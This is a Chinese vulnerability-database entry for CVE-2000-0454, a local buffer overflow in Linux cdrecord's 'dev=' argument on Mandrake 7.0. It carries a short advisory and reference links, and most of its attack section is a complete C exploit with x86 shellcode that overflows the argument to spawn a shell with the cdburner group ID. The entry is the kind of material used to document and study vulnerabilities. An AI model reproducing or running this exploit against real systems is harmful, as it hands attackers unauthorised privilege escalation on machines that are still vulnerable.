Linux cdrecord 缓冲区溢出漏洞

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漏洞ID 1105859 漏洞类型 缓冲区溢出
发布时间 2000-05-29 更新时间 2005-05-02
CVE编号 CVE-2000-0454 CNNVD-ID CNNVD-200005-100
漏洞平台 Linux CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/19969
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200005-100
|漏洞详情
Linuxcdrecord存在缓冲区溢出漏洞。本地用户借助dev参数可以提升特权。
|漏洞EXP
source: http://www.securityfocus.com/bid/1265/info

The linux cdrecorder binary is vulnerable to a locally exploitable buffer overflow attack. When installed in a Mandrake 7.0 linux distribution, it is by default setgid "cdburner" (which is a group, gid: 80, that is created for the application). The overflow condition is the result of no bounds checking on the 'dev=' argument passed to cdburner at execution time. This vulnerability can be exploited to execute arbitrary commands with egid "cdburner". cdburner has been verified (by the writers of the exploit) to be exploitable on an Intel linux system running Mandrake 7.0. Other distributions of linux may be vulnerable to this problem as well. 

/*  /usr/bin/cdrecord exploit by noir 
 *  x86/Linux 
 *  noir@gsu.linux.org.tr | noir@olympos.org
 *  dev= param overflow 
 *  this script will get you gid = 80 group cdwriter  
 *  tested on Mandrake 7.0 (Air) 
 *  greetz: dustdevil, Cronos, moog, still, BlaCK #olympos irc.sourtimes.org 
 *  
 *  
 */

#include <stdio.h>
#include <string.h>

#define NOP             0x90
#define RET     0xbffffe66 //play with argv[1] +10, -10 if default is not ok  
int 
main(int argc, char *argv[])

{
        unsigned char shell[] =
        "\x31\xc0\xb0\x50\x89\xc3\x89\xc1\xb0\x47\xcd\x80"  /*setregid(80, 80) */
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

        char egg[400];
    char buf[80];
        int i, a;
        long ret = RET;

     if(argv[1])
        ret = ret - atoi(argv[1]);               
  
        memset(egg, NOP, 400);
    
        for(i = 0  ; i < 80 ; i+=4)
                *(long *) &buf[i] = ret;
    
        for( i = 300, a = 0; a < strlen(shell) ; i++, a++ )
    egg[i] = shell[a];
        
        buf[72] = 0x00;
        egg[399] = 0x00;
        printf("eip: 0x%x\n", ret);

        setenv("EGG", egg, 1);
        execl("/usr/bin/cdrecord", "cdrecord","dev=", buf, "/etc/passwd", 0);

}
|参考资料

来源:BID
名称:1265
链接:http://www.securityfocus.com/bid/1265
来源:BUGTRAQ
名称:20000607ConectivaLinuxSecurityAnnouncement-cdrecord
链接:http://archives.neohapsis.com/archives/bugtraq/2000-06/0019.html
来源:BUGTRAQ
名称:20000603[GaelDuval][SecurityAnnounce]cdrecord
链接:http://archives.neohapsis.com/archives/bugtraq/2000-05/0434.html
来源:BUGTRAQ
名称:20000527Mandrake7.0:/usr/bin/cdrecordgid=80(strike#2)
链接:http://archives.neohapsis.com/archives/bugtraq/2000-05/0367.html